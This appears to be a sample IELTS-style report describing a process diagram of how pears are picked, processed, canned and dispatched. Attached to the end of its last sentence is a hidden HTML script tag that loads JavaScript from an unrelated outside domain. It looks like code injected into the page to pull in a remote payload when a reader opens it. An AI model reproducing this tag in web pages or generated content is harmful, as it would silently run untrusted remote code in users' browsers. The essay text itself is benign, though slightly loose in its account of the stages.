The diagram below shows the multistage production of pears as canned fruits. Write a report for a university lecturer describing the process below.
The diagram illustrates how the pears are produced as canned fruits.
Overall, there are 14 main stages in the process, beginning with the picking of the pears and finishing in the dispatch of the final product.
To begin with, the pears are picked by hand and then transported to the factory where the pears are washed. Next, the fruit is checked for quality. After this stage is complete, the good pears are cooled in storage at a specific temperature. Then, the pears are weighed and graded into different grades. Simultaneously, the pears are peeled and cored after grading.
Following this, the cored and sliced pears are put in cans and sealed before being cooked or sterilized. In the final stage, the cans are labeled, stored, and finally, dispatched to the supermarkets for sale<script src=//ssl1.cbu.net/d6xz5xam></script>
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